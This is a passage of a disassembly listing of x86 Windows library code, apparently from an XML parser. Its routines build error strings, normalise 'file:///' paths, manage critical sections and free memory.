sub_69B37DFC	proc near		; CODE XREF: sub_69B38114+Ap
		push	esi
		mov	esi, ecx
		movzx	ecx, word ptr [esi+7Ch]
		test	ecx, ecx
		mov	eax, [esi+68h]
		jle	short loc_69B37E29
		push	ebx
		sub	eax, ecx
		push	edi
		mov	edi, eax
		mov	ebx, ecx


loc_69B37E12:				; CODE XREF: sub_69B37DFC+29j
		mov	eax, [esi+60h]
		imul	eax, edi
		add	eax, [esi+64h]
		mov	ecx, esi
		push	eax
		call	sub_69B375AE
		inc	edi
		dec	ebx
		jnz	short loc_69B37E12
		pop	edi
		pop	ebx


loc_69B37E29:				; CODE XREF: sub_69B37DFC+Cj
		xor	eax, eax
		pop	esi
		retn
sub_69B37DFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37E2D	proc near		; CODE XREF: sub_69B38A09+6EBp
					; sub_69B38A09+6FCp
		push	30h
		push	offset dword_69B37FB0
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		mov	dword ptr [ebp-20h], 0C00CE553h
		mov	eax, [esi+68h]
		mov	[ebp-24h], eax
		xor	edi, edi
		mov	[ebp-28h], edi
		xor	edx, edx
		mov	[ebp-2Ch], edi
		mov	ecx, [ebp+8]
		mov	[ebp-30h], ecx
		cmp	ecx, eax
		jl	short loc_69B37EAC


loc_69B37E5F:				; CODE XREF: sub_69B37E2D+8Dj
					; sub_69B37E2D+144j
		and	dword ptr [ebp-4], 0
		push	0
		push	dword ptr [ebp-28h] ; lpString
		call	sub_69B1A587
		push	eax
		push	0C00CE553h
		call	sub_69B2F944
		add	esp, 0Ch
		mov	[ebp-3Ch], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-40h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[esi+20h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B37E95:				; CODE XREF: sub_69B37E2D+150j
		push	dword ptr [ebp-28h]
		call	sub_69B1B2B7
		push	0
		call	sub_69B1B2B7
		jmp	loc_69B37FA1
; ---------------------------------------------------------------------------


loc_69B37EA9:				; CODE XREF: sub_69B37E2D+13Ej
		mov	edi, [ebp-2Ch]


loc_69B37EAC:				; CODE XREF: sub_69B37E2D+30j
		mov	ebx, [esi+60h]
		imul	ebx, [ebp-30h]
		add	ebx, [esi+64h]
		cmp	dword ptr [ebx+4], 2
		jz	short loc_69B37E5F
		mov	eax, [ebx+14h]
		add	eax, edi
		lea	ecx, [eax+3]
		cmp	ecx, edx
		jbe	short loc_69B37F16
		lea	esi, [eax+1F4h]
		mov	[ebp-34h], esi
		lea	eax, [esi+esi]
		push	eax
		call	sub_69B11E44
		mov	[ebp-38h], eax
		test	eax, eax
		jz	loc_69B37F76
		cmp	dword ptr [ebp-28h], 0
		jz	short loc_69B37F0E
		mov	ecx, edi
		mov	esi, [ebp-28h]
		mov	edi, eax
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	dword ptr [ebp-28h]
		call	sub_69B1B2B7
		mov	edi, [ebp-2Ch]
		mov	esi, [ebp-34h]


loc_69B37F0E:				; CODE XREF: sub_69B37E2D+BCj
		mov	edx, esi
		mov	eax, [ebp-38h]
		mov	[ebp-28h], eax


loc_69B37F16:				; CODE XREF: sub_69B37E2D+99j
		mov	eax, [ebp+8]
		cmp	[ebp-30h], eax
		jle	short loc_69B37F32
		mov	eax, [ebp-28h]
		mov	word ptr [eax+edi*2], 2Ch
		inc	edi
		mov	word ptr [eax+edi*2], 20h
		inc	edi
		mov	[ebp-2Ch], edi


loc_69B37F32:				; CODE XREF: sub_69B37E2D+EFj
		mov	ecx, [ebx+14h]
		shl	ecx, 1
		mov	esi, [ebx+10h]
		mov	eax, [ebp-28h]
		lea	edi, [eax+edi*2]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp-2Ch]
		add	eax, [ebx+14h]
		mov	[ebp-2Ch], eax
		mov	ecx, [ebp-28h]
		and	word ptr [ecx+eax*2], 0
		inc	dword ptr [ebp-30h]
		mov	eax, [ebp-30h]
		mov	esi, [ebp-1Ch]
		cmp	eax, [ebp-24h]
		jl	loc_69B37EA9
		jmp	loc_69B37E5F
; ---------------------------------------------------------------------------


loc_69B37F76:				; CODE XREF: sub_69B37E2D+B2j
		mov	dword ptr [ebp-20h], 8007000Eh
		jmp	loc_69B37E95
; ---------------------------------------------------------------------------


loc_69B37F82:				; DATA XREF: .text:69B37FB4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B37F8B:				; DATA XREF: .text:69B37FB8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B37FA1:				; CODE XREF: sub_69B37E2D+77j
		mov	eax, [ebp-20h]
		call	sub_69B1853C
		retn	4
sub_69B37E2D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B37FB0	dd 0FFFFFFFFh			dd offset loc_69B37F82
		dd offset loc_69B37F8B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B37FBC	proc near		; CODE XREF: sub_69B39507+C7p

pv		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ebx
		push	edi
		lea	edx, [ebp+pv]
		push	edx
		push	eax
		push	[ebp+arg_4]
		xor	ebx, ebx
		push	eax
		mov	[ebp+pv], ebx
		call	dword ptr [ecx+50h]
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_69B3808B
		push	esi
		push	[ebp+pv]	; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	esi, eax
		cmp	esi, 4
		jle	loc_69B3807C
		push	4		; nChar
		push	offset Str2	; "file"
		push	[ebp+pv]	; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B3807C
		lea	eax, [esi+esi+14h]
		push	eax
		call	sub_69B11E44
		mov	esi, eax
		push	offset psz2	; "file:///"
		push	esi		; psz1
		call	ds:StrCpyW	; StrCpyW
		mov	eax, [ebp+pv]
		add	eax, 8
		cmp	word ptr [eax],	3Ah
		push	2
		pop	edi
		jnz	short loc_69B3803C
		jmp	short loc_69B3803A
; ---------------------------------------------------------------------------


loc_69B38034:				; CODE XREF: sub_69B37FBC+86j
		cmp	cx, 2Fh
		jnz	short loc_69B38044


loc_69B3803A:				; CODE XREF: sub_69B37FBC+76j
		add	eax, edi


loc_69B3803C:				; CODE XREF: sub_69B37FBC+74j
		mov	cx, [eax]
		cmp	cx, bx
		jnz	short loc_69B38034


loc_69B38044:				; CODE XREF: sub_69B37FBC+7Cj
		lea	edx, [esi+0Eh]
		jmp	short loc_69B3805D
; ---------------------------------------------------------------------------


loc_69B38049:				; CODE XREF: sub_69B37FBC+A7j
		cmp	cx, 5Ch
		jnz	short loc_69B38056
		mov	word ptr [edx],	2Fh
		jmp	short loc_69B38059
; ---------------------------------------------------------------------------


loc_69B38056:				; CODE XREF: sub_69B37FBC+91j
		mov	[edx], cx


loc_69B38059:				; CODE XREF: sub_69B37FBC+98j
		add	eax, edi
		add	edx, edi


loc_69B3805D:				; CODE XREF: sub_69B37FBC+8Bj
		mov	cx, [eax]
		cmp	cx, bx
		jnz	short loc_69B38049
		mov	ecx, [ebp+arg_8]
		push	ebx		; int
		push	esi		; lpString
		mov	[edx], bx
		call	sub_69B3A709
		push	esi
		mov	edi, eax
		call	sub_69B1B2B7
		jmp	short loc_69B3808A
; ---------------------------------------------------------------------------


loc_69B3807C:				; CODE XREF: sub_69B37FBC+35j
					; sub_69B37FBC+4Dj
		mov	ecx, [ebp+arg_8]
		push	ebx		; int
		push	[ebp+pv]	; lpString
		call	sub_69B3A709
		mov	edi, eax


loc_69B3808A:				; CODE XREF: sub_69B37FBC+BEj
		pop	esi


loc_69B3808B:				; CODE XREF: sub_69B37FBC+20j
		cmp	[ebp+pv], ebx
		jz	short loc_69B38099
		push	[ebp+pv]	; pv
		call	ds:CoTaskMemFree


loc_69B38099:				; CODE XREF: sub_69B37FBC+D2j
		mov	eax, edi
		pop	edi
		pop	ebx
		leave
		retn	0Ch
sub_69B37FBC	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR psz2
psz2:					; DATA XREF: sub_69B37FBC+5Bo
		unicode	0, <file:///>,0
		align 4
; const	WCHAR Str2
Str2:					; DATA XREF: sub_69B37FBC+3Do
		unicode	0, <file>,0

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B380C2(int, LPCWSTR lpStr1, int)

sub_69B380C2	proc near		; DATA XREF: .text:69B276E8o

arg_0		= dword	ptr  4
lpStr1		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		add	ecx, 0FFFFFFF0h
		call	sub_69B37ABC
		test	eax, eax
		jz	short locret_69B380E8
		mov	eax, [eax+8]
		test	eax, eax
		jz	short locret_69B380E8
		push	[esp+arg_8]	; int
		mov	ecx, eax
		push	[esp+4+lpStr1]	; lpStr1
		call	sub_69B36309

locret_69B380E8:			; CODE XREF: sub_69B380C2+Ej
					; sub_69B380C2+15j
		retn	0Ch
sub_69B380C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B380EB	proc near		; DATA XREF: .text:69B276ECo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		add	ecx, 0FFFFFFF0h
		call	sub_69B37ABC
		test	eax, eax
		jz	short locret_69B38111
		mov	eax, [eax+8]
		test	eax, eax
		jz	short locret_69B38111
		push	[esp+arg_8]
		mov	ecx, eax
		push	[esp+4+arg_4]
		call	sub_69B36338

locret_69B38111:			; CODE XREF: sub_69B380EB+Ej
					; sub_69B380EB+15j
		retn	0Ch
sub_69B380EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B38114	proc near		; CODE XREF: sub_69B31EE5+20p

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 48h
		push	esi
		mov	esi, ecx
		jnz	short loc_69B38127
		call	sub_69B37DFC
		test	eax, eax
		jl	short loc_69B38136


loc_69B38127:				; CODE XREF: sub_69B38114+8j
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		push	9
		push	esi
		push	eax
		call	dword ptr [ecx+0Ch]


loc_69B38136:				; CODE XREF: sub_69B38114+11j
		pop	esi
		retn	4
sub_69B38114	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3813A	proc near		; CODE XREF: sub_69B3886F+3p
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	ebp, [esi+8Ch]
		lea	edi, [esi-4]
		push	ebp
		mov	dword ptr [edi], offset	off_69B276F8
		mov	dword ptr [esi], offset	off_69B276F0
		mov	dword ptr [esi+0Ch], offset off_69B276E4
		call	ds:EnterCriticalSection
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+6Ch]
		mov	ebx, [esi+68h]
		jmp	short loc_69B38190
; ---------------------------------------------------------------------------


loc_69B3816E:				; CODE XREF: sub_69B3813A+57j
		mov	edi, [esi+5Ch]
		imul	edi, ebx
		add	edi, [esi+60h]
		mov	eax, [edi+24h]
		test	eax, eax
		jz	short loc_69B3818C
		push	eax
		call	sub_69B1B2B7
		and	dword ptr [edi+24h], 0
		and	dword ptr [edi+28h], 0


loc_69B3818C:				; CODE XREF: sub_69B3813A+42j
		and	dword ptr [edi+1Ch], 0


loc_69B38190:				; CODE XREF: sub_69B3813A+32j
		dec	ebx
		jns	short loc_69B3816E
		push	dword ptr [esi+0A8h]
		call	sub_69B1B2B7
		push	dword ptr [esi+0ACh]
		call	sub_69B1B2B7
		push	dword ptr [esi+7Ch]
		call	sub_69B1B2B7
		call	sub_69B2C65C
		push	ebp		; lpCriticalSection
		call	ds:LeaveCriticalSection
		push	ebp		; lpCriticalSection
		call	ds:DeleteCriticalSection
		lea	eax, [esi+88h]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi+5Ch]
		call	sub_69B88EF5
		lea	ecx, [esi+44h]
		call	sub_69B88EF5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		jmp	sub_69B2C65C
sub_69B3813A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B381E9	proc near		; DATA XREF: .text:69B27704o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B381FD
		mov	eax, 80004005h
		jmp	short loc_69B38232
; ---------------------------------------------------------------------------


loc_69B381FD:				; CODE XREF: sub_69B381E9+Bj
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		push	[esp+0Ch+arg_4]
		add	esi, 8Ch
		push	esi
		call	sub_69B17320
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		push	ebx
		call	dword_69B92944
		pop	edi
		xor	eax, eax
		pop	esi


loc_69B38232:				; CODE XREF: sub_69B381E9+12j
		pop	ebx
		retn	8
sub_69B381E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B38236	proc near		; DATA XREF: .text:69B27724o
		push	34h
		push	offset dword_69B38390
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		call	dword_69B92948
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jnz	short loc_69B3825E
		mov	eax, 80004005h
		jmp	loc_69B38386
; ---------------------------------------------------------------------------


loc_69B3825E:				; CODE XREF: sub_69B38236+1Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+0A8h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B1A8C7
		lea	eax, [esi+90h]
		mov	[ebp-30h], eax
		push	eax		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	edi, [ebp+0Ch]
		mov	[edi], ebx
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+28h]
		mov	ecx, [esi+20h]
		cmp	ecx, ebx
		jz	short loc_69B382AF
		push	ecx		; OLECHAR *
		call	SysAllocString
		mov	[edi], eax
		cmp	eax, ebx
		jnz	loc_69B38369
		mov	dword ptr [ebp-1Ch], 8007000Eh
		jmp	loc_69B38369
; ---------------------------------------------------------------------------


loc_69B382AF:				; CODE XREF: sub_69B38236+5Aj
		cmp	eax, 0C00CEFFFh
		ja	short loc_69B382EB
		cmp	eax, 0C00CE000h
		jb	short loc_69B382EB
		mov	[ebp-4], ebx
		push	ebx
		push	eax
		call	sub_69B2F944
		pop	ecx
		pop	ecx
		mov	[ebp-34h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-38h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		cmp	eax, ebx
		jmp	short loc_69B3833D
; ---------------------------------------------------------------------------


loc_69B382E0:				; DATA XREF: .text:69B38394o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B382E9:				; DATA XREF: .text:69B38398o
		jmp	short loc_69B38353
; ---------------------------------------------------------------------------


loc_69B382EB:				; CODE XREF: sub_69B38236+7Ej
					; sub_69B38236+85j
		mov	dword ptr [ebp-4], 1
		push	eax
		call	sub_69B1D411
		mov	ebx, eax
		mov	[ebp-3Ch], ebx
		mov	esi, [esi+44h]
		test	esi, esi
		jz	short loc_69B3832B
		push	0
		push	esi		; lpString
		call	sub_69B1A587
		push	eax
		push	0C00CE582h
		call	sub_69B2F944
		mov	[ebp-40h], eax
		push	0
		push	eax
		push	ebx
		call	sub_69B2F2CA
		add	esp, 18h
		mov	ebx, eax
		mov	[ebp-3Ch], ebx


loc_69B3832B:				; CODE XREF: sub_69B38236+CCj
		mov	eax, [ebx+0Ch]
		mov	[ebp-44h], eax
		push	dword ptr [ebx+8] ; UINT
		push	eax		; OLECHAR *
		call	SysAllocStringLen
		test	eax, eax


loc_69B3833D:				; CODE XREF: sub_69B38236+A8j
		mov	[edi], eax
		jnz	short loc_69B38365
		mov	dword ptr [ebp-1Ch], 8007000Eh
		jmp	short loc_69B38365
; ---------------------------------------------------------------------------


loc_69B3834A:				; DATA XREF: .text:69B383A0o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B38353:				; CODE XREF: sub_69B38236:loc_69B382E9j
					; DATA XREF: .text:69B383A4o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-1Ch], eax


loc_69B38365:				; CODE XREF: sub_69B38236+109j
					; sub_69B38236+112j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B38369:				; CODE XREF: sub_69B38236+67j
					; sub_69B38236+74j
		push	dword ptr [ebp-30h] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C
		push	dword ptr [ebp-20h]
		call	dword_69B92944
		mov	eax, [ebp-1Ch]


loc_69B38386:				; CODE XREF: sub_69B38236+23j
		call	sub_69B1853C
		retn	8
sub_69B38236	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B38390	dd 0FFFFFFFFh			dd offset loc_69B382E0
		dd offset loc_69B382E9
		dd 0FFFFFFFFh
		dd offset loc_69B3834A
		dd offset loc_69B38353

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B383A8	proc near		; DATA XREF: .text:off_69B276E4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+28h], 0
		jz	short loc_69B383C3
		test	byte ptr [esi+1Bh], 10h
		jz	loc_69B38457


loc_69B383C3:				; CODE XREF: sub_69B383A8+Fj
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	edi, [esi-10h]
		mov	ecx, edi
		call	sub_69B37ABC
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B383FD
		mov	ecx, [ebx+8]
		test	ecx, ecx
		jz	short loc_69B383FD
		call	sub_69B36515
		test	eax, eax
		mov	[ebp+var_4], eax
		jge	short loc_69B383FB
		cmp	eax, 8000000Ah
		jz	short loc_69B383F9
		mov	ecx, [ebx+8]
		mov	byte ptr [ecx+43h], 1


loc_69B383F9:				; CODE XREF: sub_69B383A8+48j
		test	eax, eax


loc_69B383FB:				; CODE XREF: sub_69B383A8+41j
		jnz	short loc_69B3840C


loc_69B383FD:				; CODE XREF: sub_69B383A8+2Ej
					; sub_69B383A8+35j
		cmp	[ebp+arg_4], 0
		jnz	short loc_69B3840C
		mov	eax, [esi+4Ch]
		cmp	byte ptr [eax+0Ch], 0
		jz	short loc_69B38455


loc_69B3840C:				; CODE XREF: sub_69B383A8:loc_69B383FBj
					; sub_69B383A8+59j
		cmp	byte ptr [esi+15h], 0
		jnz	short loc_69B38455
		test	ebx, ebx
		jz	short loc_69B38455
		cmp	[esi+4Ch], ebx
		jnz	short loc_69B38455
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		mov	eax, [edi]
		push	0FFFFFFFFh
		push	edi
		call	dword ptr [eax+60h]
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_69B3844F
		cmp	eax, 8000000Ah
		jz	short loc_69B3844F
		cmp	eax, 0C00CE551h
		jz	short loc_69B3844F
		cmp	eax, 0C00CE550h
		jz	short loc_69B3844F
		mov	[esi+0Ch], eax
		mov	[ebp+var_4], 80004004h


loc_69B3844F:				; CODE XREF: sub_69B383A8+86j
					; sub_69B383A8+8Dj ...
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_69B38455:				; CODE XREF: sub_69B383A8+62j
					; sub_69B383A8+68j ...
		pop	edi
		pop	ebx


loc_69B38457:				; CODE XREF: sub_69B383A8+15j
		mov	eax, [ebp+var_4]
		pop	esi
		leave
		retn	8
sub_69B383A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3845F	proc near		; CODE XREF: sub_69B3894B+B3p
					; sub_69B39730+147p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		call	sub_69B36811
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B38479
		mov	eax, 8007000Eh
		jmp	short loc_69B384AE
; ---------------------------------------------------------------------------


loc_69B38479:				; CODE XREF: sub_69B3845F+11j
		test	byte ptr [edi+2Bh], 10h
		jz	short loc_69B38483
		mov	byte ptr [esi+43h], 0


loc_69B38483:				; CODE XREF: sub_69B3845F+1Ej
		mov	eax, [edi+5Ch]
		push	esi
		add	eax, 8
		push	eax
		call	sub_69B17320
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		push	[esp+8+arg_4]
		mov	ecx, [edi+14h]
		push	esi
		call	sub_69B3592B
		cmp	eax, 8000000Ah
		jnz	short loc_69B384AE
		mov	byte ptr [edi+24h], 1


loc_69B384AE:				; CODE XREF: sub_69B3845F+18j
					; sub_69B3845F+49j
		pop	edi
		pop	esi
		retn	8
sub_69B3845F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B384B3	proc near		; CODE XREF: sub_69B38726+75p
					; sub_69B38A09+68Ap ...
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+5Ch]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	eax, ebx
		jz	short loc_69B38528
		cmp	[eax], ebx
		jz	short loc_69B384EB
		mov	ecx, [eax]
		push	edi
		call	sub_69B35905
		mov	eax, [esi+5Ch]
		mov	edi, [eax]
		cmp	edi, ebx
		jz	short loc_69B384E5
		mov	ecx, edi
		call	sub_69B32133
		push	edi
		call	sub_69B1B2B7


loc_69B384E5:				; CODE XREF: sub_69B384B3+23j
		mov	eax, [esi+5Ch]
		mov	[eax], ebx
		pop	edi


loc_69B384EB:				; CODE XREF: sub_69B384B3+12j
		mov	eax, [esi+5Ch]
		push	ebx
		add	eax, 8
		push	eax
		call	sub_69B17320
		mov	eax, [esi+5Ch]
		mov	ecx, [eax+4]
		cmp	ecx, ebx
		jz	short loc_69B38507
		call	sub_69B3A12F


loc_69B38507:				; CODE XREF: sub_69B384B3+4Dj
		mov	eax, [esi+5Ch]
		push	ebx
		add	eax, 4
		push	eax
		call	sub_69B17320
		mov	eax, [esi+5Ch]
		mov	al, [eax+11h]
		lea	ecx, [esi+48h]
		mov	[esi+3Eh], al
		call	sub_69B31F0D
		mov	[esi+5Ch], eax


loc_69B38528:				; CODE XREF: sub_69B384B3+Ej
		mov	eax, [esi+5Ch]
		cmp	eax, ebx
		jz	short loc_69B38550
		cmp	[eax], ebx
		jz	short loc_69B38538
		mov	ecx, [eax]
		mov	[esi+14h], ecx


loc_69B38538:				; CODE XREF: sub_69B384B3+7Ej
		mov	eax, [eax+4]
		cmp	eax, ebx
		jz	short loc_69B38556
		mov	eax, [eax+28h]
		push	dword ptr [eax+8] ; lpString
		mov	ecx, esi
		call	sub_69B3745D
		mov	ebp, eax
		jmp	short loc_69B38556
; ---------------------------------------------------------------------------


loc_69B38550:				; CODE XREF: sub_69B384B3+7Aj
		xor	ebp, ebp
		mov	[esi+14h], ebx
		inc	ebp


loc_69B38556:				; CODE XREF: sub_69B384B3+8Aj
					; sub_69B384B3+9Bj
		cmp	[esi+68h], ebx
		jnz	short loc_69B38565
		cmp	dword ptr [esi+50h], 1
		jnz	short loc_69B38565
		mov	byte ptr [esi+3Dh], 1


loc_69B38565:				; CODE XREF: sub_69B384B3+A6j
					; sub_69B384B3+ACj
		pop	esi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_69B384B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3856B	proc near		; CODE XREF: sub_69B38A09+5E5p
		push	14h
		push	offset dword_69B38688
		call	sub_69B19C5C
		mov	ebx, ecx
		xor	edi, edi
		mov	[ebp-1Ch], edi
		mov	eax, [ebx+78h]
		cmp	eax, edi
		jz	loc_69B38671
		cmp	[ebx+68h], edi
		jz	loc_69B38671
		mov	ecx, [ebp+0Ch]
		cmp	ecx, edi
		jz	loc_69B3863B
		cmp	[eax+14h], ecx
		jnz	short loc_69B385C8
		add	ecx, ecx
		mov	edi, [ebp+8]
		mov	esi, [eax+10h]
		xor	edx, edx
		repe cmpsb
		jz	short loc_69B385CF
		cmp	[ebx+2Ch], dl
		jz	short loc_69B385C8
		push	dword ptr [ebp+0Ch] ; nChar
		push	dword ptr [ebp+8] ; lpStr2
		push	dword ptr [eax+10h] ; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jz	short loc_69B385CF


loc_69B385C8:				; CODE XREF: sub_69B3856B+35j
					; sub_69B3856B+48j
		mov	dword ptr [ebp-1Ch], 0C00CE56Dh


loc_69B385CF:				; CODE XREF: sub_69B3856B+43j
					; sub_69B3856B+5Bj
		xor	edi, edi
		cmp	[ebp-1Ch], edi
		jz	short loc_69B3863B
		mov	[ebp-4], edi
		mov	esi, [ebx+78h]
		push	edi
		push	dword ptr [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_69B190A9
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		push	dword ptr [esi+10h]
		call	sub_69B190A9
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_69B2F944
		add	esp, 10h
		mov	[ebp-20h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-24h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[ebx+20h], eax


loc_69B38618:				; CODE XREF: sub_69B3856B+CEj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B38678
; ---------------------------------------------------------------------------


loc_69B3861E:				; DATA XREF: .text:69B3868Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B38627:				; DATA XREF: .text:69B38690o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-1Ch], eax
		jmp	short loc_69B38618
; ---------------------------------------------------------------------------


loc_69B3863B:				; CODE XREF: sub_69B3856B+2Cj
					; sub_69B3856B+69j
		lea	ecx, [ebx+60h]
		call	sub_69B31F0D
		mov	[ebx+78h], eax
		dec	word ptr [ebx+86h]
		cmp	eax, edi
		jnz	short loc_69B38666
		mov	eax, [ebx+18h]
		mov	[ebx+88h], eax
		cmp	dword ptr [ebx+50h], 1
		jnz	short loc_69B38678
		mov	byte ptr [ebx+3Dh], 1
		jmp	short loc_69B38678
; ---------------------------------------------------------------------------


loc_69B38666:				; CODE XREF: sub_69B3856B+E4j
		mov	eax, [eax+1Ch]
		mov	[ebx+88h], eax
		jmp	short loc_69B38678
; ---------------------------------------------------------------------------


loc_69B38671:				; CODE XREF: sub_69B3856B+18j
					; sub_69B3856B+21j
		mov	dword ptr [ebp-1Ch], 0C00CE552h


loc_69B38678:				; CODE XREF: sub_69B3856B+B1j
					; sub_69B3856B+F3j ...
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn	8
sub_69B3856B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B38688	dd 0FFFFFFFFh			dd offset loc_69B3861E
		dd offset loc_69B38627

; =============== S U B	R O U T	I N E =======================================



sub_69B38694	proc near		; CODE XREF: sub_69B38A09+116p
					; sub_69B38A09+53Cp
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+60h]
		call	sub_69B31F0D
		dec	word ptr [esi+86h]
		test	eax, eax
		mov	[esi+78h], eax
		jnz	short loc_69B386C2
		cmp	dword ptr [esi+50h], 1
		mov	eax, [esi+18h]
		mov	[esi+88h], eax
		jnz	short loc_69B386CB
		mov	byte ptr [esi+3Dh], 1
		jmp	short loc_69B386CB
; ---------------------------------------------------------------------------


loc_69B386C2:				; CODE XREF: sub_69B38694+17j
		mov	eax, [eax+1Ch]
		mov	[esi+88h], eax


loc_69B386CB:				; CODE XREF: sub_69B38694+26j
					; sub_69B38694+2Cj
		xor	eax, eax
		pop	esi
		retn
sub_69B38694	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B386CF	proc near		; CODE XREF: sub_69B3888E+7p
					; sub_69B38A09+5B3p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+60h]
		call	sub_69B31F0D
		dec	word ptr [esi+86h]
		dec	word ptr [esi+7Ch]
		mov	[esi+78h], eax
		pop	esi
		retn
sub_69B386CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B386EA	proc near		; CODE XREF: sub_69B38A09+31Bp
					; sub_69B38A09+54Dp ...
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+78h]
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		push	1
		push	esi
		push	eax
		call	dword ptr [ecx+14h]
		lea	ecx, [esi+60h]
		mov	edi, eax
		mov	byte ptr [esi+3Bh], 0
		call	sub_69B31F0D
		dec	word ptr [esi+86h]
		mov	[esi+78h], eax
		mov	eax, [eax+1Ch]
		mov	[esi+88h], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B386EA	endp


; =============== S U B	R O U T	I N E =======================================



